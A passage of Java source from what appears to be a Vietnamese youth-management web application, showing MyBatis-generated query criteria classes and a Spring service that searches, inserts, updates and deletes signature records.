(Criteria) this; } public Criteria andReferenceFlagIsNull() { addCriterion("REFERENCE_FLAG is null"); return (Criteria) this; } public Criteria andReferenceFlagIsNotNull() { addCriterion("REFERENCE_FLAG is not null"); return (Criteria) this; } public Criteria andReferenceFlagEqualTo(Boolean value) { addCriterion("REFERENCE_FLAG =", value, "referenceFlag"); return (Criteria) this; } public Criteria andReferenceFlagNotEqualTo(Boolean value) { addCriterion("REFERENCE_FLAG <>", value, "referenceFlag"); return (Criteria) this; } public Criteria andReferenceFlagGreaterThan(Boolean value) { addCriterion("REFERENCE_FLAG >", value, "referenceFlag"); return (Criteria) this; } public Criteria andReferenceFlagGreaterThanOrEqualTo(Boolean value) { addCriterion("REFERENCE_FLAG >=", value, "referenceFlag"); return (Criteria) this; } public Criteria andReferenceFlagLessThan(Boolean value) { addCriterion("REFERENCE_FLAG <", value, "referenceFlag"); return (Criteria) this; } public Criteria andReferenceFlagLessThanOrEqualTo(Boolean value) { addCriterion("REFERENCE_FLAG <=", value, "referenceFlag"); return (Criteria) this; } public Criteria andReferenceFlagIn(List<Boolean> values) { addCriterion("REFERENCE_FLAG in", values, "referenceFlag"); return (Criteria) this; } public Criteria andReferenceFlagNotIn(List<Boolean> values) { addCriterion("REFERENCE_FLAG not in", values, "referenceFlag"); return (Criteria) this; } public Criteria andReferenceFlagBetween(Boolean value1, Boolean value2) { addCriterion("REFERENCE_FLAG between", value1, value2, "referenceFlag"); return (Criteria) this; } public Criteria andReferenceFlagNotBetween(Boolean value1, Boolean value2) { addCriterion("REFERENCE_FLAG not between", value1, value2, "referenceFlag"); return (Criteria) this; } public Criteria andCreateUserIdIsNull() { addCriterion("CREATE_USER_ID is null"); return (Criteria) this; } public Criteria andCreateUserIdIsNotNull() { addCriterion("CREATE_USER_ID is not null"); return (Criteria) this; } public Criteria andCreateUserIdEqualTo(String value) { addCriterion("CREATE_USER_ID =", value, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdNotEqualTo(String value) { addCriterion("CREATE_USER_ID <>", value, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdGreaterThan(String value) { addCriterion("CREATE_USER_ID >", value, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdGreaterThanOrEqualTo(String value) { addCriterion("CREATE_USER_ID >=", value, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdLessThan(String value) { addCriterion("CREATE_USER_ID <", value, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdLessThanOrEqualTo(String value) { addCriterion("CREATE_USER_ID <=", value, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdLike(String value) { addCriterion("CREATE_USER_ID like", value, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdNotLike(String value) { addCriterion("CREATE_USER_ID not like", value, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdIn(List<String> values) { addCriterion("CREATE_USER_ID in", values, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdNotIn(List<String> values) { addCriterion("CREATE_USER_ID not in", values, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdBetween(String value1, String value2) { addCriterion("CREATE_USER_ID between", value1, value2, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdNotBetween(String value1, String value2) { addCriterion("CREATE_USER_ID not between", value1, value2, "createUserId"); return (Criteria) this; } public Criteria andCreateDateIsNull() { addCriterion("CREATE_DATE is null"); return (Criteria) this; } public Criteria andCreateDateIsNotNull() { addCriterion("CREATE_DATE is not null"); return (Criteria) this; } public Criteria andCreateDateEqualTo(Date value) { addCriterion("CREATE_DATE =", value, "createDate"); return (Criteria) this; } public Criteria andCreateDateNotEqualTo(Date value) { addCriterion("CREATE_DATE <>", value, "createDate"); return (Criteria) this; } public Criteria andCreateDateGreaterThan(Date value) { addCriterion("CREATE_DATE >", value, "createDate"); return (Criteria) this; } public Criteria andCreateDateGreaterThanOrEqualTo(Date value) { addCriterion("CREATE_DATE >=", value, "createDate"); return (Criteria) this; } public Criteria andCreateDateLessThan(Date value) { addCriterion("CREATE_DATE <", value, "createDate"); return (Criteria) this; } public Criteria andCreateDateLessThanOrEqualTo(Date value) { addCriterion("CREATE_DATE <=", value, "createDate"); return (Criteria) this; } public Criteria andCreateDateIn(List<Date> values) { addCriterion("CREATE_DATE in", values, "createDate"); return (Criteria) this; } public Criteria andCreateDateNotIn(List<Date> values) { addCriterion("CREATE_DATE not in", values, "createDate"); return (Criteria) this; } public Criteria andCreateDateBetween(Date value1, Date value2) { addCriterion("CREATE_DATE between", value1, value2, "createDate"); return (Criteria) this; } public Criteria andCreateDateNotBetween(Date value1, Date value2) { addCriterion("CREATE_DATE not between", value1, value2, "createDate"); return (Criteria) this; } public Criteria andUpdateUserIdIsNull() { addCriterion("UPDATE_USER_ID is null"); return (Criteria) this; } public Criteria andUpdateUserIdIsNotNull() { addCriterion("UPDATE_USER_ID is not null"); return (Criteria) this; } public Criteria andUpdateUserIdEqualTo(String value) { addCriterion("UPDATE_USER_ID =", value, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdNotEqualTo(String value) { addCriterion("UPDATE_USER_ID <>", value, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdGreaterThan(String value) { addCriterion("UPDATE_USER_ID >", value, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdGreaterThanOrEqualTo(String value) { addCriterion("UPDATE_USER_ID >=", value, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdLessThan(String value) { addCriterion("UPDATE_USER_ID <", value, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdLessThanOrEqualTo(String value) { addCriterion("UPDATE_USER_ID <=", value, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdLike(String value) { addCriterion("UPDATE_USER_ID like", value, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdNotLike(String value) { addCriterion("UPDATE_USER_ID not like", value, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdIn(List<String> values) { addCriterion("UPDATE_USER_ID in", values, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdNotIn(List<String> values) { addCriterion("UPDATE_USER_ID not in", values, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdBetween(String value1, String value2) { addCriterion("UPDATE_USER_ID between", value1, value2, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdNotBetween(String value1, String value2) { addCriterion("UPDATE_USER_ID not between", value1, value2, "updateUserId"); return (Criteria) this; } public Criteria andLastUpdateDateIsNull() { addCriterion("LAST_UPDATE_DATE is null"); return (Criteria) this; } public Criteria andLastUpdateDateIsNotNull() { addCriterion("LAST_UPDATE_DATE is not null"); return (Criteria) this; } public Criteria andLastUpdateDateEqualTo(Date value) { addCriterion("LAST_UPDATE_DATE =", value, "lastUpdateDate"); return (Criteria) this; } public Criteria andLastUpdateDateNotEqualTo(Date value) { addCriterion("LAST_UPDATE_DATE <>", value, "lastUpdateDate"); return (Criteria) this; } public Criteria andLastUpdateDateGreaterThan(Date value) { addCriterion("LAST_UPDATE_DATE >", value, "lastUpdateDate"); return (Criteria) this; } public Criteria andLastUpdateDateGreaterThanOrEqualTo(Date value) { addCriterion("LAST_UPDATE_DATE >=", value, "lastUpdateDate"); return (Criteria) this; } public Criteria andLastUpdateDateLessThan(Date value) { addCriterion("LAST_UPDATE_DATE <", value, "lastUpdateDate"); return (Criteria) this; } public Criteria andLastUpdateDateLessThanOrEqualTo(Date value) { addCriterion("LAST_UPDATE_DATE <=", value, "lastUpdateDate"); return (Criteria) this; } public Criteria andLastUpdateDateIn(List<Date> values) { addCriterion("LAST_UPDATE_DATE in", values, "lastUpdateDate"); return (Criteria) this; } public Criteria andLastUpdateDateNotIn(List<Date> values) { addCriterion("LAST_UPDATE_DATE not in", values, "lastUpdateDate"); return (Criteria) this; } public Criteria andLastUpdateDateBetween(Date value1, Date value2) { addCriterion("LAST_UPDATE_DATE between", value1, value2, "lastUpdateDate"); return (Criteria) this; } public Criteria andLastUpdateDateNotBetween(Date value1, Date value2) { addCriterion("LAST_UPDATE_DATE not between", value1, value2, "lastUpdateDate"); return (Criteria) this; } public Criteria andDeleteFlagIsNull() { addCriterion("DELETE_FLAG is null"); return (Criteria) this; } public Criteria andDeleteFlagIsNotNull() { addCriterion("DELETE_FLAG is not null"); return (Criteria) this; } public Criteria andDeleteFlagEqualTo(Boolean value) { addCriterion("DELETE_FLAG =", value, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagNotEqualTo(Boolean value) { addCriterion("DELETE_FLAG <>", value, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagGreaterThan(Boolean value) { addCriterion("DELETE_FLAG >", value, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagGreaterThanOrEqualTo(Boolean value) { addCriterion("DELETE_FLAG >=", value, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagLessThan(Boolean value) { addCriterion("DELETE_FLAG <", value, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagLessThanOrEqualTo(Boolean value) { addCriterion("DELETE_FLAG <=", value, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagIn(List<Boolean> values) { addCriterion("DELETE_FLAG in", values, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagNotIn(List<Boolean> values) { addCriterion("DELETE_FLAG not in", values, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagBetween(Boolean value1, Boolean value2) { addCriterion("DELETE_FLAG between", value1, value2, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagNotBetween(Boolean value1, Boolean value2) { addCriterion("DELETE_FLAG not between", value1, value2, "deleteFlag"); return (Criteria) this; } } /** * This class was generated by MyBatis Generator. * This class corresponds to the database table qltn_m_access_authorization * * @mbggenerated do_not_delete_during_merge Sat Apr 08 18:31:52 ICT 2017 */ public static class Criteria extends GeneratedCriteria { protected Criteria() { super(); } } /** * This class was generated by MyBatis Generator. * This class corresponds to the database table qltn_m_access_authorization * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public static class Criterion { private String condition; private Object value; private Object secondValue; private boolean noValue; private boolean singleValue; private boolean betweenValue; private boolean listValue; private String typeHandler; public String getCondition() { return condition; } public Object getValue() { return value; } public Object getSecondValue() { return secondValue; } public boolean isNoValue() { return noValue; } public boolean isSingleValue() { return singleValue; } public boolean isBetweenValue() { return betweenValue; } public boolean isListValue() { return listValue; } public String getTypeHandler() { return typeHandler; } protected Criterion(String condition) { super(); this.condition = condition; this.typeHandler = null; this.noValue = true; } protected Criterion(String condition, Object value, String typeHandler) { super(); this.condition = condition; this.value = value; this.typeHandler = typeHandler; if (value instanceof List<?>) { this.listValue = true; } else { this.singleValue = true; } } protected Criterion(String condition, Object value) { this(condition, value, null); } protected Criterion(String condition, Object value, Object secondValue, String typeHandler) { super(); this.condition = condition; this.value = value; this.secondValue = secondValue; this.typeHandler = typeHandler; this.betweenValue = true; } protected Criterion(String condition, Object value, Object secondValue) { this(condition, value, secondValue, null); } } }``` Sym0010Service.java ```package vn.youthmanager.ict.youth.service; import java.util.ArrayList; import java.util.HashMap; import java.util.List; import org.apache.log4j.Logger; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.context.ApplicationContext; import org.springframework.dao.DuplicateKeyException; import org.springframework.stereotype.Service; import org.springframework.transaction.PlatformTransactionManager; import org.springframework.transaction.TransactionDefinition; import org.springframework.transaction.TransactionStatus; import org.springframework.transaction.support.DefaultTransactionDefinition; import vn.youthmanager.ict.common.cnst.Constants; import vn.youthmanager.ict.common.cnst.LoggerMessage; import vn.youthmanager.ict.common.db.model.QltnMSignature; import vn.youthmanager.ict.common.util.Util; import vn.youthmanager.ict.youth.dao.Sym0010Dao; import vn.youthmanager.ict.youth.db.model.Sym0010Conditions; import vn.youthmanager.ict.youth.db.model.Sym0010Result; @Service public class Sym0010Service { private static Logger logger = Logger.getLogger(Sym0003Service.class); @Autowired private Sym0010Dao Sym0010Dao; // Variables definition PlatformTransactionManager txManager; @Autowired private ApplicationContext appContext; /** * Search user in DB based on search conditions received from client * * @param searchConditions : data received from client * @return List of users data */ public List<Sym0010Result> searchData(Sym0010Conditions searchConditions) { List<Sym0010Result> bnn0022ResultList = new ArrayList<Sym0010Result>(); HashMap<String, Object> params = createSearchConditionParams(searchConditions); try { logger.info(LoggerMessage.SEARCHING_STRATED); // search starts bnn0022ResultList = Sym0010Dao.getSym0010Mapper().searchData(params); logger.info(LoggerMessage.EXECUTION_FINISHED); if (bnn0022ResultList.size() > 0) { // "real" total from search result String searchDataTotalCounts = Sym0010Dao.getSym0010Mapper().getSearchDataTotalCounts(params); bnn0022ResultList.get(0).setSearchDataTotalCounts(searchDataTotalCounts); // handle user input data convertSanitize(bnn0022ResultList); logger.info(LoggerMessage.SEARCHING_FINISHED); logger.info(" ==> " + searchDataTotalCounts + " item(s)"); } else { logger.info(LoggerMessage.SEARCHING_FINISHED); logger.info(LoggerMessage.ZERO_ITEM); } } catch (OutOfMemoryError ex) { ex.printStackTrace(); Sym0010Result tempObj = new Sym0010Result(); tempObj.setSearchDataTotalCounts("-1"); bnn0022ResultList.add(tempObj); } catch (Exception ex) { ex.printStackTrace(); bnn0022ResultList = null; } return bnn0022ResultList; } /** * Create search conditions parameters from data received from client * * @param searchConditions : data received from client * @return HashMap object */ private HashMap<String, Object> createSearchConditionParams(Sym0010Conditions searchConditions) { HashMap<String, Object> params = new HashMap<String, Object>(); // singatureName params.put("signatureName", searchConditions.getSignatureName().equals("") ? "" : "%" + searchConditions.getSignatureName() + "%"); // From parameter params.put("fromRow", Integer.valueOf(searchConditions.getFromRow())); // Number of items in a page params.put("itemCount", Integer.valueOf(searchConditions.getItemCount())); return params; } /** * Handle user input data * * @param inputData : search result data list */ private void convertSanitize(List<Sym0010Result> inputData) { for (int i = 0; i < inputData.size(); i++) { Sym0010Result currentData = inputData.get(i); // signature Name currentData.setSignatureName(Util.convertSanitize(currentData.getSignatureName())); } } /** * Update user's information to DB * * @param signatureData : data received from client * @return String : update successfully: 1/update failed: -1 */ public String updateData(QltnMSignature signatureData) { // variable definition String returnValue = Constants.UPDATE_RESULT_SUCCESSFUL; // update starts try { // check logged in user id if (Util.getUserInfo().getID() == null) { logger.error(LoggerMessage.ERROR_MESSAGE+ "Could not get logged in user's id"); returnValue = Constants.UPDATE_RESULT_FAILED; return returnValue; } // check for signature input if (!checkInputBlankFields(signatureData)) { // blank field(s) logger.error(LoggerMessage.ERROR_MESSAGE +"Blank fields"); returnValue = Constants.VALIDATE_BLANK_FIELDS; return returnValue; } // transaction starts DefaultTransactionDefinition def = new DefaultTransactionDefinition(); def.setPropagationBehavior(TransactionDefinition.PROPAGATION_REQUIRED); txManager = (PlatformTransactionManager) appContext.getBean("transactionManager"); TransactionStatus status = txManager.getTransaction(def); try { QltnMSignature signatureObj = new QltnMSignature(); // signature Id signatureObj.setSignatureId(signatureData.getSignatureId()); // signature Name signatureObj.setSignatureName(signatureData.getSignatureName()); // delete flag signatureObj.setDeleteFlag(signatureData.getDeleteFlag()); // update user id signatureObj.setUpdateUserId(Util.getUserInfo().getID()); int result = Sym0010Dao.getQltnMSignatureMapper().updateByPrimaryKeySelective(signatureObj); if (result > 0) { // update successfully // register to DB txManager.commit(status); } else { returnValue = Constants.UPDATE_RESULT_FAILED; txManager.rollback(status); } } catch (Exception ex) { ex.printStackTrace(); logger.error(LoggerMessage.ERROR_MESSAGE + ex.getMessage()); returnValue = Constants.UPDATE_RESULT_FAILED; txManager.rollback(status); } } catch (Exception ex) { ex.printStackTrace(); logger.error(LoggerMessage.ERROR_MESSAGE + ex.getMessage()); returnValue = Constants.UPDATE_RESULT_FAILED; } return returnValue; } /** * Insert signature's information to DB * * @param signatureData : data received from client * @return String : insert successfully: 1/insert failed: -1 */ public String insertData(QltnMSignature signatureData) { // variable definition String returnValue = Constants.INSERT_RESULT_SUCCESSFUL; // insert starts try { // check logged in user id if (Util.getUserInfo().getID() == null) { logger.error("Error message: Could not get logged in user's id"); returnValue = Constants.INSERT_RESULT_FAILED; return returnValue; } // check for user input if (!checkInputBlankFields(signatureData)) { // blank field(s) logger.error("Error message: Blank fields"); returnValue = Constants.VALIDATE_BLANK_FIELDS; return returnValue; } // transaction starts DefaultTransactionDefinition def = new DefaultTransactionDefinition(); def.setPropagationBehavior(TransactionDefinition.PROPAGATION_REQUIRED); txManager = (PlatformTransactionManager) appContext.getBean("transactionManager"); TransactionStatus status = txManager.getTransaction(def); try { HashMap<String, Object> params = new HashMap<String, Object>(); params.put("signatureIdDefault", Constants.DEFAULT_PARAMS); int idNumber = Integer.parseInt(Sym0010Dao.getSym0010Mapper().getLastIdSignature(params).substring(1)); if (idNumber < Constants.DEFAULT_ID) { idNumber = idNumber + 1; String signatureId = Constants.SIGNATURE_CHARATER + String.format("%0" + Constants.MAX_LENGHT_ID + "d", idNumber); QltnMSignature signatureObj = new QltnMSignature(); // signature Id signatureObj.setSignatureId(signatureId); // singatureName signatureObj.setSignatureName(signatureData.getSignatureName()); // create user id signatureObj.setCreateUserId(Util.getUserInfo().getID()); // update user id signatureObj.setUpdateUserId(Util.getUserInfo().getID()); // delete flag signatureObj.setDeleteFlag(Constants.DELETE_FLAG_OFF); int result = Sym0010Dao.getQltnMSignatureMapper().insert(signatureObj); if (result > 0) { // insert successfully // register to DB txManager.commit(status); } else { returnValue = Constants.INSERT_RESULT_FAILED; txManager.rollback(status); } } } catch (DuplicateKeyException ex) { ex.printStackTrace(); logger.error("Error message: " + ex.getMessage()); returnValue = Constants.INSERT_RESULT_DUPLICATED; txManager.rollback(status); } catch (Exception ex) { ex.printStackTrace(); logger.error("Error message: " + ex.getMessage()); returnValue = Constants.INSERT_RESULT_FAILED; txManager.rollback(status); } } catch (Exception ex) { ex.printStackTrace(); logger.error("Error message: " + ex.getMessage()); returnValue = Constants.INSERT_RESULT_FAILED; } return returnValue; } /** * Delete user from DB * * @param signatureId : user's id to delete * @return String : delete successfully: 1/delete failed: -1 */ public String deleteData(String signatureId) { // variable definition String returnValue = Constants.DELETE_RESULT_SUCCESSFUL; // delete starts try { // transaction starts DefaultTransactionDefinition def = new DefaultTransactionDefinition(); def.setPropagationBehavior(TransactionDefinition.PROPAGATION_REQUIRED); txManager = (PlatformTransactionManager) appContext.getBean("transactionManager"); TransactionStatus status = txManager.getTransaction(def); try { int result = Sym0010Dao.getQltnMSignatureMapper().deleteByPrimaryKey(signatureId); if (result > 0) { // delete successfully // register to DB txManager.commit(status); } else { returnValue = Constants.DELETE_RESULT_FAILED; txManager.rollback(status); } } catch (Exception ex) { ex.printStackTrace(); logger.error("Error message: " + ex.getMessage()); returnValue = Constants.DELETE_RESULT_FAILED; txManager.rollback(status); } } catch (Exception ex) { ex.printStackTrace(); logger.error("Error message: " + ex.getMessage()); returnValue = Constants.DELETE_RESULT_FAILED; } return returnValue; } /** * Get signature information based on siganture's id * * @param signatureId : siganture's id received from client * @return Signature data */ public QltnMSignature getSingleData(String signatureId) { return Sym0010Dao.getQltnMSignatureMapper().selectByPrimaryKey(signatureId); } /** * Check input: blank fields * * @param signatureData : data received from client * @return boolean : all fields have value: true/blank fields exist: false */ private boolean checkInputBlankFields(QltnMSignature signatureData) { if (signatureData.getSignatureName().equals("")) { return false; } else { return true; } } } ``` QltnMFamilyRelativesExample.java ```package vn.youthmanager.ict.common.db.model; import java.util.ArrayList; import java.util.Date; import java.util.List; public class QltnMFamilyRelativesExample { /** * This field was generated by MyBatis Generator. * This field corresponds to the database table qltn_m_family_relatives * * @mbggenerated Tue Jul 18 21:27:11 ICT 2017 */ protected String orderByClause; /** * This field was generated by MyBatis Generator. * This field corresponds to the database table qltn_m_family_relatives * * @mbggenerated Tue Jul 18 21:27:11 ICT 2017 */ protected boolean distinct; /** * This field was generated by MyBatis Generator. * This field corresponds to the database table qltn_m_family_relatives * * @mbggenerated Tue Jul 18 21:27:11 ICT 2017 */ protected List<Criteria> oredCriteria; /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_family_relatives * * @mbggenerated Tue Jul 18 21:27:11 ICT 2017 */ public QltnMFamilyRelativesExample() { oredCriteria = new ArrayList<Criteria>(); } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_family_relatives * * @mbggenerated Tue Jul 18 21:27:11 ICT 2017 */ public void setOrderByClause(String orderByClause) { this.orderByClause = orderByClause; } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_family_relatives * * @mbggenerated Tue Jul 18 21:27:11 ICT 2017 */ public String getOrderByClause() { return orderByClause; } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_family_relatives * * @mbggenerated Tue Jul 18 21:27:11 ICT 2017 */ public void setDistinct(boolean distinct) { this.distinct = distinct; } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_family_relatives * * @mbggenerated Tue Jul 18 21:27:11 ICT 2017 */ public boolean isDistinct() { return distinct; } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_family_relatives * * @mbggenerated Tue Jul 18 21:27:11 ICT 2017 */ public List<Criteria> getOredCriteria() { return oredCriteria; } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_family_relatives * * @mbggenerated Tue Jul 18 21:27:11 ICT 2017 */ public void or(Criteria criteria) { oredCriteria.add(criteria); } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_family_relatives * * @mbggenerated Tue Jul 18 21:27:11 ICT 2017 */ public Criteria or() { Criteria criteria = createCriteriaInternal(); oredCriteria.add(criteria); return criteria; } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_family_relatives * * @mbggenerated Tue Jul 18 21:27:11 ICT 2017 */ public Criteria createCriteria() { Criteria criteria = createCriteriaInternal(); if (oredCriteria.size() == 0) { oredCriteria.add(criteria); } return criteria; } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_family_relatives * * @mbggenerated Tue Jul 18 21:27:11 ICT 2017 */ protected Criteria createCriteriaInternal() { Criteria criteria = new Criteria(); return criteria; } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_family_relatives * * @mbggenerated Tue Jul 18 21:27:11 ICT 2017 */ public void clear() { oredCriteria.clear(); orderByClause = null; distinct = false; } /** * This class was generated by MyBatis Generator. * This class corresponds to the database table qltn_m_family_relatives * * @mbggenerated Tue Jul 18 21:27:11 ICT 2017 */ protected abstract static class GeneratedCriteria { protected List<Criterion> criteria; protected GeneratedCriteria() { super(); criteria = new ArrayList<Criterion>(); } public boolean isValid() { return criteria.size() > 0; } public List<Criterion> getAllCriteria() { return criteria; } public List<Criterion> getCriteria() { return criteria; } protected void addCriterion(String condition) { if (condition == null) { throw new RuntimeException("Value for condition cannot be null"); } criteria.add(new Criterion(condition)); } protected void addCriterion(String condition, Object value, String property) { if (value == null) { throw new RuntimeException("Value for " + property + " cannot be null"); } criteria.add(new Criterion(condition, value)); } protected void addCriterion(String condition, Object value1, Object value2, String property) { if (value1 == null || value2 == null) { throw new RuntimeException("Between values for " + property + " cannot be null"); } criteria.add(new Criterion(condition, value1, value2)); } public Criteria andFamilyPersonIdIsNull() { addCriterion("FAMILY_PERSON_ID is null"); return (Criteria) this; } public Criteria andFamilyPersonIdIsNotNull() { addCriterion("FAMILY_PERSON_ID is not null"); return (Criteria) this; } public Criteria andFamilyPersonIdEqualTo(String value) { addCriterion("FAMILY_PERSON_ID =", value, "familyPersonId"); return (Criteria) this; } public Criteria andFamilyPersonIdNotEqualTo(String value) { addCriterion("FAMILY_PERSON_ID <>", value, "familyPersonId"); return (Criteria) this; } public Criteria andFamilyPersonIdGreaterThan(String value) { addCriterion("FAMILY_PERSON_ID >", value, "familyPersonId"); return (Criteria) this; } public Criteria andFamilyPersonIdGreaterThanOrEqualTo(String value) { addCriterion("FAMILY_PERSON_ID >=", value, "familyPersonId"); return (Criteria) this; } public Criteria andFamilyPersonIdLessThan(String value) { addCriterion("FAMILY_PERSON_ID <", value, "familyPersonId"); return (Criteria) this; } public Criteria andFamilyPersonIdLessThanOrEqualTo(String value) { addCriterion("FAMILY_PERSON_ID <=", value, "familyPersonId"); return (Criteria) this; } public Criteria andFamilyPersonIdLike(String value) { addCriterion("FAMILY_PERSON_ID like", value, "familyPersonId"); return (Criteria) this; } public Criteria andFamilyPersonIdNotLike(String value) { addCriterion("FAMILY_PERSON_ID not like", value, "familyPersonId"); return (Criteria) this; } public Criteria andFamilyPersonIdIn(List<String> values) { addCriterion("FAMILY_PERSON_ID in", values, "familyPersonId"); return (Criteria) this; } public Criteria andFamilyPersonIdNotIn(List<String> values) { addCriterion("FAMILY_PERSON_ID not in", values, "familyPersonId"); return (Criteria) this; } public Criteria andFamilyPersonIdBetween(String value1, String value2) { addCriterion("FAMILY_PERSON_ID between", value1, value2, "familyPersonId"); return (Criteria) this; } public Criteria andFamilyPersonIdNotBetween(String value1, String value2) { addCriterion("FAMILY_PERSON_ID not between", value1, value2, "familyPersonId"); return (Criteria) this; } public Criteria andPersonIdIsNull() { addCriterion("PERSON_ID is null"); return (Criteria) this; } public Criteria andPersonIdIsNotNull() { addCriterion("PERSON_ID is not null"); return (Criteria) this; } public Criteria andPersonIdEqualTo(String value) { addCriterion("PERSON_ID =", value, "personId"); return (Criteria) this; } public Criteria andPersonIdNotEqualTo(String value) { addCriterion("PERSON_ID <>", value, "personId"); return (Criteria) this; } public Criteria andPersonIdGreaterThan(String value) { addCriterion("PERSON_ID >", value, "personId"); return (Criteria) this; } public Criteria andPersonIdGreaterThanOrEqualTo(String value) { addCriterion("PERSON_ID >=", value, "personId"); return (Criteria) this; } public Criteria andPersonIdLessThan(String value) { addCriterion("PERSON_ID <", value, "personId"); return (Criteria) this; } public Criteria andPersonIdLessThanOrEqualTo(String value) { addCriterion("PERSON_ID <=", value, "personId"); return (Criteria) this; } public Criteria andPersonIdLike(String value) { addCriterion("PERSON_ID like", value, "personId"); return (Criteria) this; } public Criteria andPersonIdNotLike(String value) { addCriterion("PERSON_ID not like", value, "personId"); return (Criteria) this; } public Criteria andPersonIdIn(List<String> values) { addCriterion("PERSON_ID in", values, "personId"); return (Criteria) this; } public Criteria andPersonIdNotIn(List<String> values) { addCriterion("PERSON_ID not in", values, "personId"); return (Criteria) this; } public Criteria andPersonIdBetween(String value1, String value2) { addCriterion("PERSON_ID between", value1, value2, "personId"); return (Criteria) this; } public Criteria andPersonIdNotBetween(String value1, String value2) { addCriterion("PERSON_ID not between", value1, value2, "personId"); return (Criteria) this; } public Criteria andRelationIsNull() { addCriterion("RELATION is null"); return (Criteria) this; } public Criteria andRelationIsNotNull() { addCriterion("RELATION is not null"); return (Criteria) this; } public Criteria andRelationEqualTo(String value) { addCriterion("RELATION =", value, "relation"); return (Criteria) this; } public Criteria andRelationNotEqualTo(String value) { addCriterion("RELATION <>", value, "relation"); return (Criteria) this; } public Criteria andRelationGreaterThan(String value) { addCriterion("RELATION >", value, "relation"); return (Criteria) this; } public Criteria andRelationGreaterThanOrEqualTo(String value) { addCriterion("RELATION >=", value, "relation"); return (Criteria) this; } public Criteria andRelationLessThan(String value) { addCriterion("RELATION <", value, "relation"); return (Criteria) this; } public Criteria andRelationLessThanOrEqualTo(String value) { addCriterion("RELATION <=", value, "relation"); return (Criteria) this; } public Criteria andRelationLike(String value) { addCriterion("RELATION like", value, "relation"); return (Criteria) this; } public Criteria andRelationNotLike(String value) { addCriterion("RELATION not like", value, "relation"); return (Criteria) this; } public Criteria andRelationIn(List<String> values) { addCriterion("RELATION in", values, "relation"); return (Criteria) this; } public Criteria andRelationNotIn(List<String> values) { addCriterion("RELATION not in", values, "relation"); return (Criteria) this; } public Criteria andRelationBetween(String value1, String value2) { addCriterion("RELATION between", value1, value2, "relation"); return (Criteria) this; } public Criteria andRelationNotBetween(String value1, String value2) { addCriterion("RELATION not between", value1, value2, "relation"); return (Criteria) this; } public Criteria andStatusIsNull() { addCriterion("STATUS is null"); return (Criteria) this; } public Criteria andStatusIsNotNull() { addCriterion("STATUS is not null"); return (Criteria) this; } public Criteria andStatusEqualTo(String value) { addCriterion("STATUS =", value, "status"); return (Criteria) this; } public Criteria andStatusNotEqualTo(String value) { addCriterion("STATUS <>", value, "status"); return (Criteria) this; } public Criteria andStatusGreaterThan(String value) { addCriterion("STATUS >", value, "status"); return (Criteria) this; } public Criteria andStatusGreaterThanOrEqualTo(String value) { addCriterion("STATUS >=", value, "status"); return (Criteria) this; } public Criteria andStatusLessThan(String value) { addCriterion("STATUS <", value, "status"); return (Criteria) this; } public Criteria andStatusLessThanOrEqualTo(String value) { addCriterion("STATUS <=", value, "status"); return (Criteria) this; } public Criteria andStatusLike(String value) { addCriterion("STATUS like", value, "status"); return (Criteria) this; } public Criteria andStatusNotLike(String value) { addCriterion("STATUS not like", value, "status"); return (Criteria) this; } public Criteria andStatusIn(List<String> values) { addCriterion("STATUS in", values, "status"); return (Criteria) this; } public Criteria andStatusNotIn(List<String> values) { addCriterion("STATUS not in", values, "status"); return (Criteria) this; } public Criteria andStatusBetween(String value1, String value2) { addCriterion("STATUS between", value1, value2, "status"); return (Criteria) this; } public Criteria andStatusNotBetween(String value1, String value2) { addCriterion("STATUS not between", value1, value2, "status"); return (Criteria) this; } public Criteria andBirthDayIsNull() { addCriterion("BIRTH_DAY is null"); return (Criteria) this; } public Criteria andBirthDayIsNotNull() { addCriterion("BIRTH_DAY is not null"); return (Criteria) this; } public Criteria andBirthDayEqualTo(String value) { addCriterion("BIRTH_DAY =", value, "birthDay"); return (Criteria) this; } public Criteria andBirthDayNotEqualTo(String value) { addCriterion("BIRTH_DAY <>", value, "birthDay"); return (Criteria) this; } public Criteria andBirthDayGreaterThan(String 